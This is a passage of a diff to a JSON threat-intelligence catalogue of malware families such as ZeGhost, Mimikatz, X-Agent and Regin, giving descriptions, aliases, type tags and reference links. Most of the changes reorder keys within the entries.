+ "https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Backdoor%3aWin32%2fZegost.BW"
+ ],
"synonyms": [
"BackDoor-FBZT!52D84425CDF2",
"Trojan.Win32.Staser.ytq",
@@ -140,51 +153,51 @@
],
"type": [
"Backdoor"
- ],
- "refs": [
- "https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Backdoor%3aWin32%2fZegost.BW"
]
},
- "description": "ZeGhots is a RAT which was freely available and first released in 2014.",
- "value": "ZeGhost",
- "uuid": "c7706d12-fb62-4db6-bbe3-fef2da0181e7"
+ "uuid": "c7706d12-fb62-4db6-bbe3-fef2da0181e7",
+ "value": "ZeGhost"
},
{
+ "description": "Trojan (RAT) linked to current targeted attacks and others dating back to at least early 2009",
"meta": {
+ "refs": [
+ "http://thehackernews.com/2015/08/elise-malware-hacking.html"
+ ],
"synonyms": [
"Elise"
],
"type": [
"dropper",
"PWS"
- ],
- "refs": [
- "http://thehackernews.com/2015/08/elise-malware-hacking.html"
]
},
- "description": "Trojan (RAT) linked to current targeted attacks and others dating back to at least early 2009",
- "value": "Elise Backdoor",
- "uuid": "d70fd29d-590e-4ed5-b72f-6ce0142019c6"
+ "uuid": "d70fd29d-590e-4ed5-b72f-6ce0142019c6",
+ "value": "Elise Backdoor"
},
{
+ "description": "A new information stealer, Trojan.Laziok, acts as a reconnaissance tool allowing attackers to gather information and tailor their attack methods for each compromised computer.",
"meta": {
+ "refs": [
+ "http://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector"
+ ],
"synonyms": [
"Laziok"
],
"type": [
"PWS",
"reco"
- ],
- "refs": [
- "http://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector"
]
},
- "description": "A new information stealer, Trojan.Laziok, acts as a reconnaissance tool allowing attackers to gather information and tailor their attack methods for each compromised computer.",
- "value": "Trojan.Laziok",
- "uuid": "7ccd3821-e825-4ff8-b4be-92c9732ce708"
+ "uuid": "7ccd3821-e825-4ff8-b4be-92c9732ce708",
+ "value": "Trojan.Laziok"
},
{
+ "description": "Android-based malware",
"meta": {
+ "refs": [
+ "https://securityintelligence.com/android-malware-about-to-get-worse-gm-bot-source-code-leaked/"
+ ],
"synonyms": [
"GM-Bot",
"SlemBunk",
@@ -194,17 +207,17 @@
"type": [
"Spyware",
"AndroidOS"
- ],
- "refs": [
- "https://securityintelligence.com/android-malware-about-to-get-worse-gm-bot-source-code-leaked/"
]
},
- "description": "Android-based malware",
- "value": "Slempo",
- "uuid": "f8047de2-fefc-4ee0-825b-f1fae4b20c09"
+ "uuid": "f8047de2-fefc-4ee0-825b-f1fae4b20c09",
+ "value": "Slempo"
},
{
+ "description": "We have discovered a malware family named ‘PWOBot’ that is fairly unique because it is written entirely in Python, and compiled via PyInstaller to generate a Microsoft Windows executable. The malware has been witnessed affecting a number of Europe-based organizations, particularly in Poland. Additionally, the malware is delivered via a popular Polish file-sharing web service.",
"meta": {
+ "refs": [
+ "http://researchcenter.paloaltonetworks.com/2016/04/unit42-python-based-pwobot-targets-european-organizations/"
+ ],
"synonyms": [
"PWOLauncher",
"PWOHTTPD",
@@ -217,31 +230,27 @@
"Dropper",
"Miner",
"Spyware"
- ],
- "refs": [
- "http://researchcenter.paloaltonetworks.com/2016/04/unit42-python-based-pwobot-targets-european-organizations/"
]
},
- "description": "We have discovered a malware family named ‘PWOBot’ that is fairly unique because it is written entirely in Python, and compiled via PyInstaller to generate a Microsoft Windows executable. The malware has been witnessed affecting a number of Europe-based organizations, particularly in Poland. Additionally, the malware is delivered via a popular Polish file-sharing web service.",
- "value": "PWOBot",
- "uuid": "17de0952-3841-44d3-b03a-cc90e123d2b8"
+ "uuid": "17de0952-3841-44d3-b03a-cc90e123d2b8",
+ "value": "PWOBot"
},
{
+ "description": "We recently came across a cyber attack that used a remote access Trojan (RAT) called Lost Door, a tool currently offered on social media sites. What also struck us the most about this RAT (detected as BKDR_LODORAT.A) is how it abuses the Port Forward feature in routers.",
"meta": {
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/lost-door-rat-accessible-customizable-attack-tool/"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"LostDoor RAT",
"BKDR_LODORAT"
+ ],
+ "type": [
+ "Backdoor"
]
},
- "description": "We recently came across a cyber attack that used a remote access Trojan (RAT) called Lost Door, a tool currently offered on social media sites. What also struck us the most about this RAT (detected as BKDR_LODORAT.A) is how it abuses the Port Forward feature in routers.",
- "value": "Lost Door RAT",
- "uuid": "6d0b7543-a6e5-49fc-832e-bd594460187c"
+ "uuid": "6d0b7543-a6e5-49fc-832e-bd594460187c",
+ "value": "Lost Door RAT"
},
{
"meta": {
@@ -249,12 +258,12 @@
"http://www.fidelissecurity.com/files/files/FTA_1009-njRAT_Uncovered_rev2.pdf",
"https://github.com/kevthehermit/RATDecoders/blob/master/yaraRules/njRat.yar"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"Bladabindi",
"Jorik"
+ ],
+ "type": [
+ "Backdoor"
]
},
"uuid": "a860d257-4a39-47ec-9230-94cac67ebf7e",
@@ -266,14 +275,14 @@
"http://www.symantec.com/connect/blogs/nanocore-another-rat-tries-make-it-out-gutter",
"https://nanocore.io/"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"NanoCore",
"Nancrat",
"Zurten",
"Atros2.CKPN"
+ ],
+ "type": [
+ "Backdoor"
]
},
"uuid": "a8111fb7-d4c4-4671-a6f9-f62fea8bad60",
@@ -284,11 +293,11 @@
"refs": [
"https://www.secureworks.com/research/sakula-malware-family"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"Sakurel"
+ ],
+ "type": [
+ "Backdoor"
]
},
"uuid": "f6c137f0-979c-4ce2-a0e5-2a080a5a1746",
@@ -312,11 +321,11 @@
"http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf",
"https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"TROJ_DLLSERV.BE"
+ ],
+ "type": [
+ "Backdoor"
]
},
"uuid": "eff68b97-f36e-4827-ab1a-90523c16774c",
@@ -328,14 +337,14 @@
"http://blog.trendmicro.com/trendlabs-security-intelligence/evilgrab-malware-family-used-in-targeted-attacks-in-asia/",
"http://researchcenter.paloaltonetworks.com/2015/06/evilgrab-delivered-by-watering-hole-attack-on-president-of-myanmars-website/"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"BKDR_HGDER",
"BKDR_EVILOGE",
"BKDR_NVICM",
"Wmonder"
+ ],
+ "type": [
+ "Backdoor"
]
},
"uuid": "c9b4ec27-0a43-4671-a967-bcac5df0e056",
@@ -347,9 +356,6 @@
"https://www.symantec.com/connect/blogs/cve-2012-1875-exploited-wild-part-1-trojannaid",
"http://telussecuritylabs.com/threats/show/TSL20120614-05"
],
- "type": [
- "Dropper"
- ],
"synonyms": [
"Naid",
"Mdmbot.E",
@@ -358,83 +364,87 @@
"AGENT.BMZA",
"MCRAT.A",
"AGENT.ABQMR"
+ ],
+ "type": [
+ "Dropper"
]
},
"uuid": "170db76b-93f7-4fd1-97fc-55937c079b66",
"value": "Trojan.Naid"
},
{
+ "description": "Backdoor.Moudoor, a customized version of Gh0st RAT",
"meta": {
"refs": [
"http://www.darkreading.com/attacks-breaches/elite-chinese-cyberspy-group-behind-bit9-hack/d/d-id/1140495",
"https://securityledger.com/2013/09/apt-for-hire-symantec-outs-hidden-lynx-hacking-crew/"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"SCAR",
"KillProc.14145"
+ ],
+ "type": [
+ "Backdoor"
]
},
- "description": "Backdoor.Moudoor, a customized version of Gh0st RAT",
- "value": "Moudoor",
- "uuid": "46fd9884-208c-43c7-8ec3-b9fabce30b30"
+ "uuid": "46fd9884-208c-43c7-8ec3-b9fabce30b30",
+ "value": "Moudoor"
},
{
+ "description": "APT that infected hundreds of high profile victims in more than 40 countries. Known targets of NetTraveler include Tibetan/Uyghur activists, oil industry companies, scientific research centers and institutes, universities, private companies, governments and governmental institutions, embassies and military contractors.",
"meta": {
"refs": [
"https://securelist.com/blog/incidents/57455/nettraveler-is-back-the-red-star-apt-returns-with-new-tricks/"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"TravNet",
"Netfile"
+ ],
+ "type": [
+ "Backdoor"
]
},
- "description": "APT that infected hundreds of high profile victims in more than 40 countries. Known targets of NetTraveler include Tibetan/Uyghur activists, oil industry companies, scientific research centers and institutes, universities, private companies, governments and governmental institutions, embassies and military contractors.",
- "value": "NetTraveler",
- "uuid": "59b70721-6fed-4805-afa5-4ff2554bef81"
+ "uuid": "59b70721-6fed-4805-afa5-4ff2554bef81",
+ "value": "NetTraveler"
},
{
+ "description": "APT used As part of Operation SMN, Novetta analyzed recent versions of the Winnti malware. The samples, compiled from mid- to late 2014, exhibited minimal functional changes over the previous generations Kaspersky reported in 2013.",
"meta": {
"refs": [
"https://securelist.com/blog/incidents/57455/nettraveler-is-back-the-red-star-apt-returns-with-new-tricks/",
"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"Etso",
"SUQ",
"Agent.ALQHI"
+ ],
+ "type": [
+ "Backdoor"
]
},
- "description": "APT used As part of Operation SMN, Novetta analyzed recent versions of the Winnti malware. The samples, compiled from mid- to late 2014, exhibited minimal functional changes over the previous generations Kaspersky reported in 2013.",
- "value": "Winnti",
- "uuid": "9b3a4cff-1c5a-4fd6-b49c-27240b6d622c"
+ "uuid": "9b3a4cff-1c5a-4fd6-b49c-27240b6d622c",
+ "value": "Winnti"
},
{
+ "description": "Ease Credential stealh and replay, A little tool to play with Windows security.",
"meta": {
"refs": [
"https://github.com/gentilkiwi/mimikatz",
"https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/"
],
- "type": [
- "HackTool"
- ],
"synonyms": [
"Mikatz"
+ ],
+ "type": [
+ "HackTool"
]
},
- "description": "Ease Credential stealh and replay, A little tool to play with Windows security.",
- "value": "Mimikatz",
- "uuid": "7f3a035d-d83a-45b8-8111-412aa8ade802"
+ "uuid": "7f3a035d-d83a-45b8-8111-412aa8ade802",
+ "value": "Mimikatz"
},
{
+ "description": "Backdoor attribued to APT1",
"meta": {
"refs": [
"https://github.com/gnaegle/cse4990-practical3",
@@ -444,28 +454,28 @@
"Backdoor"
]
},
- "description": "Backdoor attribued to APT1",
- "value": "WEBC2",
- "uuid": "b5be84b7-bf2c-40d0-85a9-14c040881a98"
+ "uuid": "b5be84b7-bf2c-40d0-85a9-14c040881a98",
+ "value": "WEBC2"
},
{
+ "description": "Symantec has observed Buckeye activity dating back to 2009, involving attacks on various organizations in several regions. Buckeye used a remote access Trojan (Backdoor.Pirpi) in attacks against a US organization’s network in 2009. The group delivered Backdoor.Pirpi through malicious attachments or links in convincing spear-phishing emails.",
"meta": {
"refs": [
"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"Badey",
"EXL"
+ ],
+ "type": [
+ "Backdoor"
]
},
- "description": "Symantec has observed Buckeye activity dating back to 2009, involving attacks on various organizations in several regions. Buckeye used a remote access Trojan (Backdoor.Pirpi) in attacks against a US organization’s network in 2009. The group delivered Backdoor.Pirpi through malicious attachments or links in convincing spear-phishing emails.",
- "value": "Pirpi",
- "uuid": "4859330d-c6a5-4b9c-b45b-536ec983cd4a"
+ "uuid": "4859330d-c6a5-4b9c-b45b-536ec983cd4a",
+ "value": "Pirpi"
},
{
+ "description": "RARSTONE is a Remote Access Tool (RAT) discovered early 2013 by TrendMicro, it’s characterized by a great affinity with the other RAT know as Plug is and was used in April for phishing campaigns that followed the dramatic attack to the Boston Marathon.",
"meta": {
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/"
@@ -474,28 +484,28 @@
"Backdoor"
]
},
- "description": "RARSTONE is a Remote Access Tool (RAT) discovered early 2013 by TrendMicro, it’s characterized by a great affinity with the other RAT know as Plug is and was used in April for phishing campaigns that followed the dramatic attack to the Boston Marathon.",
- "value": "RARSTONE",
- "uuid": "5d2dd6ad-6bb2-45d3-b295-e125d3399c8d"
+ "uuid": "5d2dd6ad-6bb2-45d3-b295-e125d3399c8d",
+ "value": "RARSTONE"
},
{
+ "description": "Backspace is a Backdoor that targets the Windows platform. This malware is reportedly associated with targeted attacks against Association of Southeast Asian Nations (ASEAN) members (APT30).",
"meta": {
"refs": [
"https://www2.fireeye.com/WEB-2015RPTAPT30.html",
"https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"Lecna"
+ ],
+ "type": [
+ "Backdoor"
]
},
- "description": "Backspace is a Backdoor that targets the Windows platform. This malware is reportedly associated with targeted attacks against Association of Southeast Asian Nations (ASEAN) members (APT30).",
- "value": "Backspace",
- "uuid": "cd6c5f27-cf7e-4529-ae9c-ab5b85102bde"
+ "uuid": "cd6c5f27-cf7e-4529-ae9c-ab5b85102bde",
+ "value": "Backspace"
},
{
+ "description": "Backdoor user by he Naikon APT group",
"meta": {
"refs": [
"https://securelist.com/analysis/publications/69953/the-naikon-apt/",
@@ -505,92 +515,91 @@
"Backdoor"
]
},
- "description": "Backdoor user by he Naikon APT group",
- "value": "XSControl",
- "uuid": "2e3712e3-fd7b-43d1-8b4f-2ba7fc551bbb"
+ "uuid": "2e3712e3-fd7b-43d1-8b4f-2ba7fc551bbb",
+ "value": "XSControl"
},
{
+ "description": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as Scout and Norton.",
"meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0034",
+ "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+ ],
"synonyms": [
"scout",
"norton"
],
"type": [
"Backdoor"
- ],
- "refs": [
- "https://attack.mitre.org/wiki/Software/S0034",
- "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
]
},
- "description": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as Scout and Norton.",
- "value": "Neteagle",
- "uuid": "0ee08ab5-140c-44c3-9b0a-4a352500b14e"
+ "uuid": "0ee08ab5-140c-44c3-9b0a-4a352500b14e",
+ "value": "Neteagle"
},
{
+ "description": "In November 2014, the experts of the G DATA SecurityLabs published an article about ComRAT, the Agent.BTZ successor. We explained that this case is linked to the Uroburos rootkit.",
"meta": {
"refs": [
"https://blog.gdatasoftware.com/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"ComRat"
+ ],
+ "type": [
+ "Backdoor"
]
},
- "description": "In November 2014, the experts of the G DATA SecurityLabs published an article about ComRAT, the Agent.BTZ successor. We explained that this case is linked to the Uroburos rootkit.",
- "value": "Agent.BTZ",
- "uuid": "da079741-05e6-458c-b434-011263dc691c"
+ "uuid": "da079741-05e6-458c-b434-011263dc691c",
+ "value": "Agent.BTZ"
},
{
"description": "RAT bundle with standard VNC (to avoid/limit A/V detection).",
- "value": "Heseber BOT",
- "uuid": "b1b7e7d8-3778-4783-9cc7-9ec04b146031"
+ "uuid": "b1b7e7d8-3778-4783-9cc7-9ec04b146031",
+ "value": "Heseber BOT"
},
{
"uuid": "93fe1644-a7a6-4e5a-bc3b-88984b251fde",
"value": "Agent.dne"
},
{
+ "description": "Waterbug is the name given to the actors who use the malware tools Trojan.Wipbot (also known as Tavdig and Epic Turla)",
"meta": {
"refs": [
"https://securelist.com/analysis/publications/65545/the-epic-turla-operation/",
"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"Tavdig",
"Epic Turla",
"WorldCupSec",
"TadjMakhal"
+ ],
+ "type": [
+ "Backdoor"
]
},
- "description": "Waterbug is the name given to the actors who use the malware tools Trojan.Wipbot (also known as Tavdig and Epic Turla)",
- "value": "Wipbot",
- "uuid": "36c0faf0-428e-4e7f-93c5-824bb0495ac9"
+ "uuid": "36c0faf0-428e-4e7f-93c5-824bb0495ac9",
+ "value": "Wipbot"
},
{
+ "description": "Family of related sophisticated backdoor software - Name comes from Microsoft detection signature – anagram of Ultra (Ultra3) was a name of the fake driver). A macOS version exists but appears incomplete and lacking features...for now!",
"meta": {
"refs": [
"https://www.first.org/resources/papers/tbilisi2014/turla-operations_and_development.pdf",
"https://objective-see.com/blog/blog_0x25.html#Snake"
],
- "type": [
- "Backdoor",
- "Rootkit"
- ],
"synonyms": [
"Snake",
"Uroburos",
"Urouros"
+ ],
+ "type": [
+ "Backdoor",
+ "Rootkit"
]
},
- "description": "Family of related sophisticated backdoor software - Name comes from Microsoft detection signature – anagram of Ultra (Ultra3) was a name of the fake driver). A macOS version exists but appears incomplete and lacking features...for now!",
- "value": "Turla",
- "uuid": "22332d52-c0c2-443c-9ffb-f08c0d23722c"
+ "uuid": "22332d52-c0c2-443c-9ffb-f08c0d23722c",
+ "value": "Turla"
},
{
"uuid": "811bdec0-e236-48ae-b27c-1a8fe0bfc3a9",
@@ -598,8 +607,8 @@
},
{
"description": "RAT initialy identified in 2011 and still actively used.",
- "value": "Dark Comet",
- "uuid": "9ad11139-e928-45cf-a0b4-937290642e92"
+ "uuid": "9ad11139-e928-45cf-a0b4-937290642e92",
+ "value": "Dark Comet"
},
{
"meta": {
@@ -632,6 +641,7 @@
"value": "DHS2015"
},
{
+ "description": "Gh0st Rat is a well-known Chinese remote access trojan which was originally made by C.Rufus Security Team several years ago.",
"meta": {
"refs": [
"http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf"
@@ -640,11 +650,11 @@
"Gh0stRat, GhostRat"
]
},
- "description": "Gh0st Rat is a well-known Chinese remote access trojan which was originally made by C.Rufus Security Team several years ago.",
- "value": "Gh0st Rat",
- "uuid": "cb8c8253-4024-4cc9-8989-b4a5f95f6c2f"
+ "uuid": "cb8c8253-4024-4cc9-8989-b4a5f95f6c2f",
+ "value": "Gh0st Rat"
},
{
+ "description": "Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages). ",
"meta": {
"refs": [
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf"
@@ -653,9 +663,8 @@
"FAKEM"
]
},
- "description": "Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages). ",
- "value": "Fakem RAT",
- "uuid": "eead5605-0d79-4942-a6c2-efa6853cdf6b"
+ "uuid": "eead5605-0d79-4942-a6c2-efa6853cdf6b",
+ "value": "Fakem RAT"
},
{
"meta": {
@@ -671,42 +680,41 @@
"value": "MFC Huner"
},
{
+ "description": "Blackshades Remote Access Tool targets Microsoft Windows operating systems. Authors were arrested in 2012 and 2014.",
"meta": {
"refs": [
"https://www.justice.gov/usao-sdny/pr/manhattan-us-attorney-and-fbi-assistant-director-charge-announce-charges-connection",
"https://blog.malwarebytes.org/intelligence/2012/06/you-dirty-rat-part-2-blackshades-net/"
]
},
- "description": "Blackshades Remote Access Tool targets Microsoft Windows operating systems. Authors were arrested in 2012 and 2014.",
- "value": "Blackshades",
- "uuid": "8c3202d5-1671-46ec-9d42-cb50dbe2f667"
+ "uuid": "8c3202d5-1671-46ec-9d42-cb50dbe2f667",
+ "value": "Blackshades"
},
{
+ "description": "backdoor used by apt28 ",
"meta": {
+ "possible_issues": "Report tells that is could be Xagent alias (Java Rat)",
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"webhp",
"SPLM",
"(.v2 fysbis)"
],
- "possible_issues": "Report tells that is could be Xagent alias (Java Rat)"
- },
- "description": "backdoor used by apt28 ",
- "value": "CHOPSTICK",
- "uuid": "0a32ceea-fa66-47ab-8bde-150dbd6d2e40"
- },
- {
- "meta": {
- "refs": [
- "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"
- ],
"type": [
"Backdoor"
+ ]
+ },
+ "uuid": "0a32ceea-fa66-47ab-8bde-150dbd6d2e40",
+ "value": "CHOPSTICK"
+ },
+ {
+ "description": "backdoor used by apt28\n\nSedreco serves as a spying backdoor; its functionalities can be extended with dynamically loaded plugins. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper. We have not seen this component since April 2016.",
+ "meta": {
+ "possible_issues": "Report tells that is could be Xagent alias (Java Rat)",
+ "refs": [
+ "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"
],
"synonyms": [
"Sedreco",
@@ -714,32 +722,34 @@
"ADVSTORESHELL",
"NETUI"
],
- "possible_issues": "Report tells that is could be Xagent alias (Java Rat)"
+ "type": [
+ "Backdoor"
+ ]
},
- "description": "backdoor used by apt28\n\nSedreco serves as a spying backdoor; its functionalities can be extended with dynamically loaded plugins. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper. We have not seen this component since April 2016.",
- "value": "EVILTOSS",
- "uuid": "6374fc53-9a0d-41ba-b9cf-2a9765d69fbb"
+ "uuid": "6374fc53-9a0d-41ba-b9cf-2a9765d69fbb",
+ "value": "EVILTOSS"
},
{
+ "description": "backdoor",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"
],
- "type": [
- "Backdoor"
- ],
"synonyms": [
"Sednit",
"Seduploader",
"JHUHUGIT",
"Sofacy"
+ ],
+ "type": [
+ "Backdoor"
]
},
- "description": "backdoor",
- "value": "GAMEFISH",
- "uuid": "43cd8a09-9c80-48c8-9568-1992433af60a"
+ "uuid": "43cd8a09-9c80-48c8-9568-1992433af60a",
+ "value": "GAMEFISH"
},
{
+ "description": "downloader - Older version of CORESHELL",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"
@@ -748,30 +758,30 @@
"Sofacy"
]
},
- "description": "downloader - Older version of CORESHELL",
- "value": "SOURFACE",
- "uuid": "1de47f51-1f20-403b-a2e1-5eaabe275faa"
+ "uuid": "1de47f51-1f20-403b-a2e1-5eaabe275faa",
+ "value": "SOURFACE"
},
{
+ "description": "credential harvester",
"meta": {
"refs": [
"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_sasfis.tl",
"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"
],
- "type": [
- "PWS"
- ],
"synonyms": [
"Sasfis",
"BackDoor-FDU",
"IEChecker"
+ ],
+ "type": [
+ "PWS"
]
},
- "description": "credential harvester",
- "value": "OLDBAIT",
- "uuid": "6d1e2736-d363-49aa-9054-9c9e4ac0c520"
+ "uuid": "6d1e2736-d363-49aa-9054-9c9e4ac0c520",
+ "value": "OLDBAIT"
},
{
+ "description": "downloader - Newer version of SOURFACE",
"meta": {
"refs": [
"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"
@@ -780,9 +790,8 @@
"Sofacy"
]
},
- "description": "downloader - Newer version of SOURFACE",
- "value": "CORESHELL",
- "uuid": "3948ce95-468e-4ce1-82b1-57439c6d6afd"
+ "uuid": "3948ce95-468e-4ce1-82b1-57439c6d6afd",
+ "value": "CORESHELL"
},
{
"meta": {
@@ -794,14 +803,14 @@
"value": "Havex RAT"
},
{
+ "description": "RAT initially written in VB.",
"meta": {
"refs": [
"https://www.sentinelone.com/blog/understanding-kjw0rm-malware-we-dive-in-to-the-tv5-cyber-attack/"
]
},
- "description": "RAT initially written in VB.",
- "value": "KjW0rm",
- "uuid": "b3f7a454-3b23-4149-99aa-0132323814d0"
+ "uuid": "b3f7a454-3b23-4149-99aa-0132323814d0",
+ "value": "KjW0rm"
},
{
"uuid": "1b591586-e1ef-4a32-8dae-791aca5ddf41",
@@ -844,18 +853,18 @@
"value": "FireMalv"
},
{
+ "description": "Regin (also known as Prax or WarriorPride) is a sophisticated malware toolkit revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. The malware targets specific users of Microsoft Windows-based computers and has been linked to the US intelligence gathering agency NSA and its British counterpart, the GCHQ. The Intercept provided samples of Regin for download including malware discovered at Belgian telecommunications provider, Belgacom. Kaspersky Lab says it first became aware of Regin in spring 2012, but that some of the earliest samples date from 2003. The name Regin is first found on the VirusTotal website on 9 March 2011.",
"meta": {
+ "refs": [
+ "https://en.wikipedia.org/wiki/Regin_(malware)"
+ ],
"synonyms": [
"Prax",
"WarriorPride"
- ],
- "refs": [
- "https://en.wikipedia.org/wiki/Regin_(malware)"
]
},
- "description": "Regin (also known as Prax or WarriorPride) is a sophisticated malware toolkit revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. The malware targets specific users of Microsoft Windows-based computers and has been linked to the US intelligence gathering agency NSA and its British counterpart, the GCHQ. The Intercept provided samples of Regin for download including malware discovered at Belgian telecommunications provider, Belgacom. Kaspersky Lab says it first became aware of Regin in spring 2012, but that some of the earliest samples date from 2003. The name Regin is first found on the VirusTotal website on 9 March 2011.",
- "value": "Regin",
- "uuid": "0cf21558-1217-4d36-9536-2919cfd44825"
+ "uuid": "0cf21558-1217-4d36-9536-2919cfd44825",
+ "value": "Regin"
},
{
"uuid": "809b54c3-dd6a-4ec9-8c3a-a27b9baa6732",
@@ -1126,13 +1135,13 @@
},
{
"meta": {
+ "refs": [
+ "https://github.com/nccgroup/Royal_APT"
+ ],
"synonyms": [
"Hoarde",
"Phindolp",
"BS2005"
- ],
- "refs": [
- "https://github.com/nccgroup/Royal_APT"
]
},
"uuid": "25cd01bc-1346-4415-8f8d-d3656309ef6b",
@@ -1257,13 +1266,13 @@
},
{
"meta": {
+ "refs": [
+ "https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear"
+ ],
"synonyms": [
"Tordal",
"Chanitor",
"Pony"
- ],
- "refs": [
- "https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear"
]
},
"uuid": "ff0404a1-465f-4dd5-8b66-ee773628ca64",
@@ -1324,23 +1333,23 @@
"value": "ShimRAT"
},
{
+ "description": "APT28's second-stage persistent macOS backdoor. This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration. This component is available for Osx, Windows, Linux and iOS operating systems.\n\nXagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration. Xagent is the group’s flagship backdoor and heavily used in their operations. Early versions for Linux and Windows were seen years ago, then in 2015 an iOS version came out. One year later, an Android version was discovered and finally, in the beginning of 2017, an Xagent sample for OS X was described.",
"meta": {
- "synonyms": [
- "XAgent"
- ],
- "type": [
- "Backdoor"
- ],
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-update-ios-espionage-app-found/",
"https://app.box.com/s/l7n781ig6n8wlf1aff5hgwbh4qoi5jqq",
"https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/",
"https://objective-see.com/blog/blog_0x25.html#XAgent"
+ ],
+ "synonyms": [
+ "XAgent"
+ ],
+ "type": [
+ "Backdoor"
]
},
- "description": "APT28's second-stage persistent macOS backdoor. This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration. This component is available for Osx, Windows, Linux and iOS operating systems.\n\nXagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration. Xagent is the group’s flagship backdoor and heavily used in their operations. Early versions for Linux and Windows were seen years ago, then in 2015 an iOS version came out. One year later, an Android version was discovered and finally, in the beginning of 2017, an Xagent sample for OS X was described.",
- "value": "X-Agent",
- "uuid": "3e2c99f9-66cd-48be-86e9-d7c1c164d87c"
+ "uuid": "3e2c99f9-66cd-48be-86e9-d7c1c164d87c",
+ "value": "X-Agent"
},
{
"meta": {
@@ -1388,6 +1397,7 @@
"value": "Mad Max"
},
{
+ "description": "Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims",
"meta": {
"refs": [
"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
@@ -1396,11 +1406,11 @@
"Backdoor"
]
},
- "description": "Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims",
- "value": "Crimson",
- "uuid": "858edfb8-793a-430b-8acc-4310e7d2f0d3"
+ "uuid": "858edfb8-793a-430b-8acc-4310e7d2f0d3",
+ "value": "Crimson"
},
{
+ "description": "Operation Groundbait based on our research into the Prikormka malware family. This includes detailed technical analysis of the Prikormka malware family and its spreading mechanisms, and a description of the most noteworthy attack campaigns.",
"meta": {
"refs": [
"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
@@ -1409,68 +1419,71 @@
"Backdoor"
]
},
- "description": "Operation Groundbait based on our research into the Prikormka malware family. This includes detailed technical analysis of the Prikormka malware family and its spreading mechanisms, and a description of the most noteworthy attack campaigns.",
- "value": "Prikormka",
- "uuid": "67ade442-63f2-4319-bdcd-d2564b963ed6"
+ "uuid": "67ade442-63f2-4319-bdcd-d2564b963ed6",
+ "value": "Prikormka"
},
{
+ "description": "This whitepaper details a malicious program we identify as NanHaiShu. Based on our analysis, the threat actor behind this malware targets government and private-sector organizations.",
"meta": {
"refs": [
"https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"
]
},
